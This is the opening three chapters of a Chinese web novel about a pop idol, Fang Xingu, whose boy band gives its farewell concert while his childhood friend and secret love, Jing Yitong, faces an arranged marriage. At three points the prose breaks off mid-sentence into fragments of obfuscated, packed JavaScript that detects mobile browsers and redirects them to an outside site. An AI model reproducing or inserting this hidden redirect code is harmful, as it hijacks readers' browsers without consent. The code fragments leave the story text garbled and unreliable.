《和竹马装不熟后cp爆了》 1. 第 1 章 申市,长沪中心体育场,当红组合Nebula解散场演唱会。 可以容纳数万人的场馆此时人山人海,台下尖叫声此起彼伏,台上的歌声和隆隆的音响更是震得人心跳加速。 在Nebula的最后一首歌即将结束之时,一个身材高挑的男人才姗姗来迟,他低调地坐在内场的角落,没有引起任何人注意。 直到坐在他旁边的女生不小心把荧光棒打到他身上,女生才发现身旁多了个人,她忙道歉:“对不起。” 男人低声回应:“没事。” 明明周围如此嘈杂,但女生在听到这声音的一瞬间还是愣住了,她看向男人,虽然对方的帽檐压得很低,但那张脸她实在太熟悉了。 女生脱口叫出一个名字:“景亦同?” 男人没有否认,只是拉起口罩,比了个噤声的手势:“嘘。” 真是景亦同! 女生显然还没回过神来,她呆滞地点头——景亦同怎么会出现在Nebula的演唱会上? 此时场馆中灯光暗下,舞台上的Nebula挥手离场,这下女生再没空管景亦同了,她扭头朝舞台大喊:“啊啊啊方新故!安可安可!” 听到这应援声,景亦同转头看她:“你也喜欢方新故?” “是啊!从《星途》开始我就喜欢他了,”女生分出一抹注意力给景亦同,“你怎么会来Nebula的演唱会,你……你也喜欢他们吗?” “我吗?” 景亦同的目光缓缓转向舞台,此时巨大的屏幕上正好放映着方新故的面孔,景亦同看着,眉眼不自觉染上了笑意。 他轻声道:“算是吧。” 四年前,Nebula组合通过国内首档偶像男团选秀综艺《星途》正式出道。这几年来,Nebula红透半边天,但他们七人毕竟是来自不同公司的限定团,终有解散的一天。 就像今天这场演唱会,也到了曲终人散的时候。 舞台落幕这一刻,曾经撕得昏天暗地的各家粉丝都短暂放下了过去的芥蒂,场馆中传来不绝于耳的“安可”声。 后台,Nebula七人喘着粗气回到休息室,连续唱唱跳跳几小时,铁人来了也得缓口气。 几人喝水换造型,讨论着等会的安可曲,谈笑间,唯独组合中人气最高的方新故一个人靠在墙角默不作声,仿佛被队友们遗忘了。 化妆师赵奕偷偷瞄了一眼方新故,很快便收回视线。 她刚从国外回来,之前并未接触过Nebula,但Nebula实在太火,甚至在国外也有不少粉丝,赵奕被迫听过不少有关他们的传闻,比如……方新故心高气傲,仗着自己人气高,看不起其他成员,和队友矛盾极深,甚至到了相看相厌的地步。 赵奕原以为这都是谣言,但这一天接触下来,方新故确实行事冷淡,几乎不和队友交流,如今再看他们队内的关系,或许真是无风不起浪。 而此时,方新故靠在墙上,喘气时胸腔起伏的频率明显比其他几人更剧烈。 气氛正诡异着,休息室的大门突然被人粗暴打开,只见方新故的经纪人齐邱怒气冲冲地走到他身边,压着火气小声道:“仗着演唱会躲我是吧,你到底准备什么时候给我答复?” 方新故垂眼看脚尖:“……我再想想。” 齐邱看他这表情就来气:“你都考虑多久了,有那么难以抉择吗?续不续约,给我句准话!” 齐邱正要发作,方新故的手机正巧传来一连串震动,他马上捞起手机,神情严肃又认真:“有点急事,等会再说。” 说完,方新故抓着手机迅速转身离开,齐邱瞪着他离去的背影,只能咽回已经到嘴边的话。 而另一边,方新故所谓的“急事”不过是个幌子,他打开手机,发现刚才是自己的圈外好友许素波发来的连环炮—— 许素波:景亦同的事你知道了吗? 许素波:景家的财务危机已经严重到这个地步了,竟然落魄到要靠联姻来解决? 许素波:这个世界好玄幻,所以景亦同要结婚了? 或许是迟迟没有等来方新故的回复,许素波这才小心翼翼地问:……你还好吧? 方新故紧握着手机,脸上表情没有丝毫变化,却盯着屏幕上“结婚”两个字出神许久,半晌后才回复:我知道。 他怎么会不知道? 方家和景家是世交,他和景亦同从小一起长大。即使这几年他故意和景亦同保持距离,刻意不去关注景亦同的消息,但他们生活、工作始终都在一个圈子,那些关于景亦同的消息总会随风而来。 这次也一样,景亦同要联姻的消息在前几天传到他耳中,躲都躲不掉。 乍一听说这个消息时,方新故完全无法接受,虽然景家确实遇到了些危机,但据他所知仍处于可控范围内,而且景亦同毕竟是公众人物,怎么可能轻易答应什么联姻。 可惜方新故多方打听,得到的却都是一样的结果。 是的,景亦同要结婚了。 他暗恋了七年的景亦同,要结婚了。 确定消息那天,方新故心里有种尘埃落定的苦闷——这一天终究还是来了。 或许是早就预设了会有这一天,所以方新故并没有表现出多余的痛苦,他更多感受到的是一种空落落的茫然,好像生命中很重要的一部分正在被活生生剥离,他却无能为力。 但他又能怎样?不是所有喜欢都能得到回应,况且他只是一个懦弱的暗恋者,甚至从来不敢对景亦同说一句喜欢。 景亦同终究不属于他,他们总会在某一天越走越远,不是今天也会是明天。 既然有缘无分,那就算了吧。 于是方新故收拾好自己的情绪,继续体面地维持着日常的一切,让人看不出丝毫端倪。 可大洋彼岸的许素波却震惊得要命,尤其当她看到方新故发来的“我知道”三个字时,只感觉眼珠子都要掉出来了。 谁知道自己暗恋的人要结婚了还能这么平静? 就连许素波这个外人都表现得比方新故崩溃:你就这反应? 她都有点怀疑方新故是不是真的喜欢景亦同了。 方新故很冷静:不然呢?不过是失恋罢了,难道你失恋之后会一哭二闹三上吊? 许素波:…… 许素波:大哥,我这辈子唯一一次失恋,就是我跟你表白,结果你说你喜欢景亦同[微笑] 回旋镖扎到自己身上的方新故:…… 方新故迅速滑跪:对不起我该死[下跪] 许素波没跟他计较,反而百思不得其解:景亦同到底哪里好,值得你喜欢这么多年。 方新故:……景亦同哪里得罪你了,这么多年过去你还这么讨厌他? 明明景亦同的人缘很好,只有许素波看他不顺眼。 许素波:那个装货,我高中就看他不爽了,要不是看在你以前喜欢他,我早蛐蛐死他了。不过反正现在你失恋了,我也不用忍了,以后我们一起骂他[嘻嘻] 眼看许素波要开始长篇大论痛斥景亦同,方新故一阵头疼,忙打断:先不聊了,我还在演唱会。 许素波顿了顿,过了会儿才重新回复:……行,你要是难过也别憋着,有什么情绪都可以跟我发泄,不管怎样我都站在你这边[猫猫wink] 许素波难得善解人意一回,可方新故却觉得没什么好说的,他的情绪根本无从说起。 谁这辈子还没个失恋后暗自神伤的经历?他只是需要一点点时间来消化而已。 方新故婉拒:我没事的……先忙去了。 许素波:去吧大明星。 方新故靠着墙关上手机,周身萦绕着一股落寞,甚至比刚才更沉默了。 化妆师赵奕看着方新故有些犹豫,这会儿该到方新故补妆了,但他一副生人勿近的模样,看着就不好惹,赵奕自觉见惯了大风大浪,却还是有点犯怵。 但时间紧急,她还是大着胆子叫了一声:“方老师,该补妆了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060110|179177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >方新故点头,坐到了化妆镜前。 赵奕松了口气,还好没被为难。 补妆前,她习惯性地打量了一眼化妆镜确定光线,却还是被镜子中方新故的脸摄住了。 那是一张兼具骨相美和皮相美的面孔,流畅分明的面部线条和高挺的鼻梁相当英俊,但那双眼睛偏偏潋滟又明媚,让他多了几分生动的柔和,多看一眼都会让人深陷其中。 只可惜方新故脸上总是冷冷淡淡的,略微压下的眉头更是让那双漂亮的眼睛都多了几分凌厉。尤其为了这次演唱会,方新故把头发染成了白金色,这发色很称他的肤色,却也让他看起来更加冷漠疏离。 赵奕心里感慨,这位长得是真好,难怪人气这么高……只可惜性格差了点。 方新故见赵奕定在那里不动,抬眼叫她:“老师?” 赵奕这才回神,她尴尬地推了下口罩,抖抖手里的刷子:“抱歉,方老师先闭眼。” 方新故合上眼,赵奕又偷偷盯着瞧了几眼,这才动手补妆。 补妆到一半,赵奕余光忽然瞥到自己脚边蛄蛹过来一团黑色的人影,她低头见是Nebula的成员叶玟连正蹲在方新故脚边,手中还拿着把枪一样的东西。 叶玟连注意到赵奕的视线,忙摆手示意她别出声。 正在赵奕疑惑之时,叶玟连突然抬起手把“枪”怼到了方新故的脑门前。 “滴——滴滴——” 突兀的警示声吓了方新故一跳,他在睁眼看清叶玟连的同时整个人往后一靠,试图拉开两人间的距离。 而叶玟连的注意力却全在手里的体温枪上,他瞪着眼大叫:“40.2度!” 方新故皱眉捂住口鼻:“凑这么近干嘛?离我远点。” 叶玟连震惊:“这是重点吗?先别担心会不会传染给我们了,你还是先担心一下自己吧!” 队长陆长宁一脸担忧:“新故你能撑住吗?要不等会安可别上了。” 另外几个队友也附和:“身体要紧。” 方新故摇头:“没事。” 这是Nebula最后一次演唱会的最后一首歌,唱的还是《星途》的同名主题曲,最多不过十来分钟但意义非凡,此时不论是为了远道而来的粉丝,还是为了Nebula的完美谢幕,他都必须坚持下来。 陆长宁无奈:“你别逞强。” 但也有人大叫着支持方新故的决定:“新故得上场啊,万一等会有人跑调了还得新故救场呢!” 队友笑骂:“你为了演出效果不要新故的命啊!” 这三年来,无论各家粉丝撕得多腥风血雨,无论外界把他们Nebula队内的关系形容得多水深火热,但他们七个人相处得其实不错。 赵奕在边上看着他们的互动,有些不确定地试探:“方老师这是发烧了?” 方新故疑惑:“你不知道?我看你一直带着口罩,还以为你知道我病了。” 赵奕:…… 戴口罩只是她的职业习惯啊! 这时,地上的叶玟连一个猛扑,毫无形象地抱住方新故的小腿:“哥,你这脑子可不能烧坏,我还指望以后跟你约歌呢。” 方新故本就身体不舒服,这会儿哪有呛人的精力,不耐烦道:“少烦我。” 赵奕看着他们的互动,终于窥到一丝真相:“你们关系还挺好?” 原来方新故不是被孤立了,只是因为生病不想传染给队友,所以这两天才总是一个人躲在角落? “那是,这可是我们的金大腿,”叶玟连不客气地拍了两下方新故的腿,揶揄道,“你看你,就是太能装,让化妆老师误会了吧?” 方新故没搭理他,只是尝试着从叶玟连的禁锢中抽出腿,谁知他用了十成的劲儿,结果自己的腿竟然纹丝不动。 叶玟连阴笑:“别想甩开我!” 方新故闭上眼靠在椅背上长叹一口气:情场失意就算了,职场上还有这么算了的队友。 这日子过得真是有够算了。 2. 第 2 章 过场时间不过几分钟,几人没有继续打闹,换完造型后再次站到了帷幕之后。 此时最紧张的莫过于副主唱邹尧,他满脸焦虑:“老天保佑等会千万别出岔子。” 方新故拍了下他的肩膀:“不会的,已经排练过很多次了。” 简单的话语却犹如定海神针,让邹尧一下找到了主心骨,连带着他看向方新故的眼神都带上了钦佩:怎么会有人发着高烧还能这么镇定? 方新故这松弛感能分他一半就好了。 邹尧一下松快:“那是,天塌了也有你这个主唱顶着。” 这时,过场间奏停下,帷幕打开,再次穿上《星途》统一制服的Nebula再次登上舞台,下方当即炸开疯狂的叫声: “啊啊啊是《星途》的校服!” “竟然还能等到校服返场!” 听着台下一声高过一声的欢呼,连方新故脸上也浮现出了笑意,这笑容被镜头敏锐捕捉后投射到大屏幕上,当即又引来新一轮的尖叫,方新故一压手,声音才渐渐平息。 直到《星途》前奏结束,方新故终于唱响了这曾经属于Nebula的第一首歌,也是现在Nebula的最后一首歌—— “我来到这里, 等待灯光为我亮起。 黑暗中的每一次呼吸, 都是对未来的执迷。” 方新故标志性的嗓音环绕在场馆中,让人不自觉投入到动人的歌声里。仿佛是为了配合歌词,昏暗的舞台上灯光骤然大开,照亮了台上七张勃勃的面孔。 “我站在这里, 期待掌声为我响起。 汗水的珍贵无可比拟, 努力才是唯一真谛。” 台下掌声响起,熟悉的旋律一下把时间拉回到四年前,眼前的场景与《星途》的初舞台不断重合,四年过去,好像什么都没变。 台上台下都有人红了眼眶,叶玟连偷偷抹了一把眼泪,平常总咋咋呼呼的人,偏偏又那么重感情。 好在《星途》这首歌大家唱了四年,即使有人因为哽咽而嗓音状态不佳,但在真挚的情感下,那些小瑕疵都显得无伤大雅,起码方新故觉得大家都表现得不错。 直到唱到后半部分,到了邹尧的part,他调整了一下紧张的嗓音状态,开口唱道:“舞台上绚烂的灯光,是梦……” 嘎—— 突然间,音响的伴奏声被突兀切断,整个场馆中霎时安静下来,只能听见邹尧的歌声单调回旋。 “……开始的地方……???” 惯性使然,邹尧愣是把一句歌词唱完才意识到不对劲。 不是,伴奏呢? 不能是他太紧张突然失聪了吧! 邹尧惊恐地用余光偷看其他队友,却发现大家全都停下了舞蹈动作面面相觑:什么情况? 一个猜想顿时浮上众人心头:是舞台事故,伴奏没声音了! 可为什么偏偏是今天,这可是他们Nebula的最后一个舞台! 突发事件让几人大脑一片空白,更不要说此时台下有数万双眼睛正看着他们。手足无措间,大家的第一反应竟然出奇统一——六双清澈又迷茫的眼睛齐刷刷地看向了方新故。 方新故:…… 看我干什么,你们倒是唱啊! 本就高烧不退的方新故感觉头更疼了。 其实他很清楚队友们为什么不继续唱,这是几万人的演唱会,全开麦无伴奏清唱太考验唱功,尤其现在他们唱跳过后气息不匀,加之有些人哭过以后嗓音干瘪,不敢开口也正常。 方新故倒是可以带着大家合唱完剩下的部分,但直觉告诉他,这绝不是最优解。 没人知道这到底是一次意外还是人为事故,也没人知道演出结束后是否会有人借题发挥。 他唯一知道的是,今天之后,Nebula就要各奔东西,他们每个人都必须在这次舞台事故下呈现出最好的状态,否则对大家日后的发展都有影响。 他们不仅要唱,而且要唱得好,因为这是Nebula的最后一首歌,他们有且仅有这一次机会。 但该怎么做? 重压之下,方新故额角落下一颗汗珠,短短几秒钟仿佛被无限拉长,在某个瞬间,他突然想到在日复一日的练习中,曾发生过的一段小插曲。 灵光闪过,方新故随即有了主意,他直接扯下耳返,抬起右手轻轻一抓,随后五指指尖并拢,比了一个“7”的手势。 其他队友一怔,但这几年积攒的默契让他们很快就明白了方新故的用意,马上一起摘下耳返。 现场一片寂静,粉丝本就懵着,再一看台上的Nebula已经整齐划一地摘下耳返,大家更是迷茫不已。 什么情况?这是意外事故还是特别企划? 还没等他们想明白,场馆中就响起了一段悠扬的吟唱声。 是音响恢复了? ……不,不是。 粉丝们很快反应过来,这并非音响发出的伴奏声,而是有人在哼《星途》的旋律。 众人往台上看去,只见此时方新故正握着麦,认真哼唱着《星途》。 方新故的声压极强,即使只是简单哼唱,但那嗓音却像是能穿透鼓膜直击人心,让人不自觉地屏息凝听。 在这旋律中,其他队友的紧张情绪也逐渐缓和,依次加入哼唱的队伍。 直到此刻,层次分明的旋律、和声和律动渐渐融合,《星途》的曲调再次回荡在长沪中心体育场。 邹尧低沉的歌声适时响起: “并非每条路都是康庄, 我坚定我的选择不退让。 向着目标执着眺望, 破开风浪无畏远航。” 邹尧醇厚的嗓音与人声旋律交织在一起,入耳的声音层次极为丰富,竟让演唱更加立体悦耳。 而且人声伴奏的灵活性极强,在之后的演唱中,即使有人出现音准问题,方新故也都能靠着默契提前预判,并不动声色地调整和声音量,给队友垫一把音,平稳度过每个人的part。 其实人声伴奏并非易事,Nebula在此之前也没有刻意排练过,只是在练舞过程中,大家习惯了哼着旋律打节拍,但因为随意哼哼得太难听,被方新故黑脸制裁,一个个给他们调整唱腔,最后总算合出来一版能入耳的《星途》。 在枯燥的练习中,这堂开小灶的“声乐课”只被当成是娱乐,但没想到还真有派上用场的一天。 直到最后演唱渐入佳境,所有人都沉浸在这纯粹的歌声中,台上七人汇聚在一起,齐声唱: “群星闪耀是我们的光芒, 星辰大海是未来的方向。” 台下粉丝再次红了眼,这个版本的《星途》比原版的旋律更悠扬,他们竟真的从歌声中感受到了离别的感伤。 不知是谁带的头,粉丝们也自发加入合唱中来,声浪仿佛要掀翻穹顶: “未来的路还有很长, 有你陪伴星途不再彷徨。 就让这束光, 照亮前行路上每一张脸庞。” 一曲终了,余音仍在回荡,场馆中无数彩带飘落而下,为这一刻添上斑斓的色彩。 隔了许久,粉丝们才回过神来:“Nebula!Nebula!” 在应援声中,方新故感觉心脏中仿佛有什么要膨胀而出,情绪久久不能平复,他微仰起头看着从天而降的彩带,瞳孔中映出彩色的光泽。 他感觉自己看到的不仅是彩带,更是无数璀璨的梦想和热爱。 Nebula从不只是他们七个人的Nebula。 方新故的眼睛有些酸胀,心里生出几分不舍。 但终究要结束的,Nebula该落幕了。 “啊啊啊新故!” “完美,我们做到了!” 其他六人激动地飞扑向方新故,直把快被高烧烧成浆糊的方新故撞得眼前一黑,一口气差点没缓过来。 方新故被他们簇拥在中间,感觉一颗炽热的心在狂跳,浑身都蒸腾着热气,一时间他已分不清自己究竟是因为高烧而心跳加速,还是在为这值得铭记的一刻而感动。 他故作镇定地抬起胳膊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060111|179177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回抱住队友们,在欢呼声中享受着这最后属于Nebula的时刻。 观众席上,景亦同看着舞台上乱七八糟抱成一团的Nebula,也笑了起来。 真好,方新故就应该这样享受属于自己的人生。 可天下没有不散的筵席,演唱会进入尾声,也就意味着到了Nebula要解散的时候。 三年半,对于限定团而言已经足够长,但对于喜欢Nebula的粉丝而言,却远远不够。 成员们挨个向粉丝道别,直到最后,方新故握着麦克风站在舞台中央。 他最后深深看了一眼台下的粉丝,明天还未定,或许这就是他最后一次站在舞台上。 方新故缓了口气,慢慢道:“山水喜相逢,但聚散终有时。Nebula的故事到此为止,但属于我们的故事还在继续。” “感谢每一次的相遇,也期待下一次的重逢。” “朋友们,再见。” 七人挥手告别:“再见!” 台间帷幕缓缓落下,挡住Nebula的身影,也宣告着一代内娱男团神话的终结。 粉丝们不舍的呼唤声被厚重的幕帘挡住,听着耳畔渐渐弱下来的声音,方新故被肾上腺素吊着的那口气彻底散了,高烧带来的不适顿时反扑,他人一软,倒在地上彻底失去意识。 “新故!” . “高烧、低血糖,外加操劳过度,医生说没有大碍,只是要静养一段时间。” 经纪人齐邱照着病历,向手机那头方新故的母亲应箴女士简述方新故的病情。 “这么多问题,”应箴狐疑,“你们没压榨我儿子吧?” “……哈哈怎么会呢,”齐邱尴尬赔笑,恶狠狠瞪着旁边的叶玟连,“我们还是很有人文关怀的。” 叶玟连一阵心虚,公司虽然没有压榨方新故,但他还有六个不省心的队友啊。 这段时间方新故一直在改编演唱会曲目,即使发着烧也从不缺席任何一次排练,甚至还要帮他们纠正演唱中的不足。 叶玟连摸摸鼻子,越想越觉得他们不是东西。 好在应箴没有得理不饶人,她现在远在国外来不及赶回来,只说已经叫了熟人来照看方新故。 齐邱和叶玟连边唯唯诺诺地应着,边往方新故的单人病房走去,谁知两人刚转过拐角,就看到一个陌生男人正鬼鬼祟祟地企图打开方新故的病房门,对方戴着口罩和帽子遮得很严实,怎么看这形迹都相当可疑。 叶玟连眼皮一跳,第一反应就是有私生。 作为偶像艺人,这种事他们没少见,眼看此人已经打开病房门就要进去,叶玟连忙出声呵止:“喂,你谁啊!” 男人听到这声音,动作明显顿了一下,却丝毫不见被人抓包的慌张,反而转头看向正朝自己跑来的齐邱和叶玟连,甚至还朝他们点点头。 叶玟连都懵了,好嚣张的私生。 叶玟连正想着,就见男人主动摘下口罩,露出一张英俊的面庞,他出声打招呼:“齐哥、玟连,好久不见。” 齐邱和叶玟连两人脚下一个急刹,在瞬间就认出了男人的身份——景亦同?! 走廊中一阵沉默,三人大眼瞪小眼,最后还是齐邱率先开口:“……景老师?好巧,你、你这是?” 谁能告诉他为什么景亦同这尊大神会在这里撬方新故病房的大门? 景亦同摇头:“不是巧合,我是专门来看新故的,他现在怎么样?” “啊?” 齐邱愣住了,他不敢说对方新故百分百了解,但也算对方新故在圈内的人际关系了若指掌。 景亦同是国内影视圈最炙手可热的青年演员,年纪轻轻就已经斩获影帝桂冠,可谓家喻户晓,但方新故出道以来,还从来没有跟景亦同同台过,两个人甚至都没说过一句话。 按理说是毫无交集的两个人,可现在景亦同却用熟稔的语气说他是专门来看方新故的,这合理吗? 叶玟连也懵了:“你们认识?” “新故没说过?”景亦同奇怪地看了眼病房,“我是他哥。” 3. 第 3 章 景亦同这句话如同平地惊雷,炸得齐邱和叶玟连的大脑彻底宕机:哥哥?什么哥哥? 方新故有个哥哥,而且还是景亦同? ……不可能吧,从来没听方新故说过啊! 两人一脸呆滞地企图重启大脑,最后还是齐邱手机中应箴的声音打破了沉默:“诶?是小同吗?” 三人的视线都挪到了手机上,齐邱这才后知后觉地想起来,自己刚才没挂断和应箴的通话。 他僵硬地举起手机,正纠结该怎么解释眼前的场景,景亦同已经上前一步对着手机道:“小姨?我妈跟我说了新故的事,我已经到医院了。” “真是你啊,你这孩子什么时候回申市啦?”应箴嘴上嗔怪,语气却明显放松了不少,“有你在我就放心了,新故就麻烦你了。” “好,等会给您回电话。” 景亦同和应箴用齐邱的手机聊了起来,越发坐实自己“哥哥”的身份,叶玟连和齐邱迷茫地四目相对—— 齐邱:不是,这俩人真是兄弟?你知道吗? 叶玟连:你这个经纪人都不知道,我又怎么会知道? 齐邱怒其不争:塑料兄弟情啊你们! 叶玟连冷嘲热讽:总比你这个挂件经纪人强! 最后还是景亦同的声音打断了他们的眼神交锋,景亦同:“那我先进去看看新故?” 病人的亲妈都同意了,他俩还有什么可说的? 齐邱:“好,不过新故现在还睡着。” 景亦同进了方新故的病房,眼看着病房门被轻轻合上,齐邱再度拿起手机,跟应箴打探情况:“姐,景老师是新故的哥哥?” “你说小同?”应箴回答,“唔,不是亲兄弟,但方家和景家是世交,他们从小一起长大,跟亲兄弟也没差别。” 齐邱和叶文琏对视一挑眉:嚯,从小一起长大? 方新故嘴可真严,四年了竟然从来没有提过这回事。 而这时,病房中的景亦同已经轻手轻脚地走到方新故身边。 其实这并不是一个探望病人的好时机,方新故还在昏睡中,他双眼紧闭,没有丝毫要醒来的迹象,只是景亦同实在担心,这才一得知方新故住院的消息,就马不停蹄地赶过来。 此时方新故身上仍穿着刚才的演出服,却半点不见舞台上光彩夺目的模样,整个人看起来苍白憔悴,没有半点血色,连眉头也紧锁着,似乎在睡梦中也不太顺心。 病房中的灯光有些昏暗,景亦同坐到床头,想用手点一点方新故的眉心,但又怕吵醒他,最后只是虚握住方新故的右手掌心试了试温度。 确实有点烫,看来高烧还没退。 景亦同的目光再次滑到方新故脸上,用视线隔空描摹方新故的脸颊,总觉得他好像比之前瘦了很多。 景亦同随即苦笑起来,这个“好像”用得还真贴切,其实他已经很久没见过方新故了,上一次见面甚至还要追溯到过年的时候两家人一起吃饭。 是什么时候开始,他们不再像小时候那么亲密,反而越走越远了? 明明方新故小时候最粘他,从刚学会走路开始就喜欢跟在他身后,总是“哥哥”“哥哥”地叫着,闹得不少人都以为他们是亲兄弟,而他们也从不解释,甚至热衷于助长这个误会。 ……或许从他意识到自己并非一个称职的哥哥开始,一切就都变了吧。 正当景亦同即将陷入回忆时,方新故右手的指尖忽然颤动了一下,在景亦同手上刮了刮。 景亦同以为方新故要醒了,他收回手屏住呼吸,下意识在脑海中编出了一套能合理解释自己出现在这里的说辞。只可惜他盯着方新故看了足有三分钟,最后方新故也只是眼睫微颤,还是没有挣脱梦魇醒来。 看来今天是不会醒了。 景亦同想到自己刚才一惊一乍的模样,觉得有些好笑。 他松开方新故的手,起身离开前帮他掖好被子,却眼尖地发现方新故的锁骨上红了一片。 在昏黄的灯光下,景亦同皱起眉,把方新故的衣领往两边扯开,其实这个动作有些冒犯,但此时景亦同也顾不得那么多了,因为他已经看到方新故锁骨下方也起了大片红疹。 是起湿疹了。 方新故小时候是个易过敏体质,不仅经常长湿疹,过敏原还一测一大堆,什么尘螨、海鲜、鸡蛋白、菠萝通通过敏。后来随着年岁渐长逐渐有所好转,过敏原少了很多,自然也不那么容易过敏了,湿疹也只有在压力特别大的时候才会复发。 ……所以最近压力这么大吗? 景亦同无声地注视方新故良久,最终叹了口气,只是拿过自己随身的包,从里面抽出一支方新故常用的治疗湿疹的药膏打开。 特米斯地药膏特有的药香味散发出来,景亦同用棉签沾取了一些,轻轻涂在方新故身上起红疹的地方。 半个小时后,齐邱和叶玟连坐在病房外的走廊上灵魂出窍。 叶玟连:“已经半个小时了,他还没出来。” 齐邱:“我不理解,一个睡着的人有什么好看的。” 叶玟连深有同感地点点头。 又过了几分钟,病房的门终于被打开,叶玟连和齐邱当即换了副面孔,笑呵呵地走上前:“景老师,怎么样了?” 景亦同:“他起湿疹了,我刚给他上过药,也在床头留了一支他常用的药膏,但最好还是叫皮肤科的钱医生来看看,他对新故的病情比较了解。” 齐邱忙回道:“哦哦好。” 景亦同继续叮嘱:“他挂的那瓶盐水大概两个小时后会输完,我装了提示器,等会你们记得叫人来拔针。我还要赶飞机,就先走了。” 齐邱和叶玟连今天受到的冲击太大,这会儿只知道呆呆点头应是。 景亦同欲言又止,这两人怎么一副不太聪明的样子,真能把方新故交给他们吗? 但时间有限,景亦同再不放心,也只能起身前往机场。 最近他在燕省拍戏,为了今天能来申市看方新故的演唱会,特地跟剧组请了半天假,结果被突如其来的雷暴天气耽误了行程,飞机延误四个多小时才起飞,害得他差点连Nebula的最后一首歌都没赶上。 这会儿好不容易到了申市、见了方新故,但也不能停留太久,他只有半天假,虽然仍有诸多不舍,但还是要赶红眼航班回燕省。 回机场的路上,景亦同又给应箴打了个电话。 “小姨,新故是发烧加上最近巡演太累,才没撑住晕倒的。” “他没什么事吧?” “还好,就是起湿疹了。” “又起湿疹?”应箴有些意外,“他好像初中以后就没长过了吧,最近这是怎么了?” 景亦同揉揉额角,沉默片刻后犹豫道:“可能是他最近压力比较大……是因为,您跟他说那件事了吗?” 应箴愣了一下才反应过来景亦同说的是什么—— 联姻。是景家想和方家联姻。 景家主业是做远洋运输的,但据传未来几年海运相关政策或将变动,并不利于景家航运生意的发展,好在一切尚未尘埃落定,还有回旋的余地。 恰巧方家和应家在这方面的人脉广,景、方两家又是世交,景亦同的父亲第一时间就想到了方家,甚至拉下老脸来求他们帮忙。 方家以前承过景家的情,应箴夫妻俩当然也愿意帮老朋友一把,不过毕竟是和上级部门打交道,人家愿意给方、应两家个面子,但多道转手后,那些人和景家非亲非故的,还愿意出多少力就不一定了。 但如果两家通过联姻结为一家,那情况自然就不一样了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060112|179177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 况且联姻一事,对方家同样也是好处颇多,起码方家略有些紧张的资金链就能通过景家的资源宽裕不少。 既然一方有人脉、一方有资源,两家结亲当然没什么不好,但他们也不能不考虑孩子的意愿。 联姻势必会影响两个孩子的人生,给他们的人生添上无法抹去的浓重一笔,作为家长,应箴不可能自作主张地横加干涉。 应箴支支吾吾:“新故那边……哎。” 景亦同手指不自觉收紧:“他不愿意?” “也不能说是不愿意……” 是她根本还没跟方新故说! 虽然有求于人的是景家,但应箴却觉得尴尬极了,毕竟他们家也能从中获利,总有种卖儿子的感觉…… 应箴怎么也没法对方新故开这个口,正是一个头两个大的时候:“哎……这事我做不了主,你自己和新故商量吧。” 景亦同手背上青筋突起,听应箴这个语气,方新故果然是不同意吧。 其实方新故不乐意也正常,这事放谁身上都不可能轻易接受,更何况方新故是直男。 但很快,景亦同又松开五指,对话间没露出丝毫异样:“好,那等新故身体好点之后我再跟他聊一聊。” 把烫手山芋抛给景亦同后,应箴也轻松不少,她安慰景亦同:“你家的情况你也别太担心,无论如何,我和你叔叔都会尽力相助的。” “好,谢谢小姨。” . 第二天下午,方新故终于从昏睡中醒来。他这一觉睡得昏沉,醒来还有点分不清今夕何夕。 方新故感觉眼皮很沉,还没睁开眼,医院里消毒水的味道便伴随着一股熟悉的药膏味钻入他的鼻腔。 迷迷糊糊间,方新故辨别出了那是特米斯地的气味。 意识回笼,方新故才想起来自己是在演唱会结束后晕倒了,现在应该是被人送来了医院。 可这里为什么会有特米斯地的味道,是有人注意到他身上起湿疹,所以给他上了药? 但他晕倒的时候身边没带药膏,这药膏在国内也很少见,怎么这么凑巧,那人给他涂的正好是特米斯地? 或许是人在生病时总会想起最亲近的人,方新故混沌的大脑思来想去,脑海中莫名浮现出了一种可能。 会是他来过吗? 带着一丝自己都没有察觉到的期待,方新故睁开眼,但映入眼帘的却是正翘着腿坐在沙发上拿手机斗地主的齐邱。 ……好大的落差。 方新故深吸一口气,感觉自己的小心脏稀里哗啦碎成粉末,他迅速闭上眼转过头选择继续装死。 他真是脑子烧坏了,怎么可能是景亦同来看他了! 而那厢齐邱在斗地主的间隙注意到病床上的动静,疑惑地挪到方新故床边,试探问道:“你醒了?” 方新故不情不愿地睁开眼“嗯”了一声。 齐邱大喜,忙摁响呼铃,一群医生护士呼啦啦地涌来帮方新故做检查。 直到确认方新故没问题,齐邱才露出一副劫后余生的表情:“你昨天要吓死我了,玟连陪了你一晚上,刚刚才被我赶回去休息。你要真有个什么三长两短,我就可以以死谢罪了。” 方新故无奈地朝他看去,视线不经意间扫过床头柜时,余光瞥到上面放了一支使用过的、非常眼熟的特米斯地。 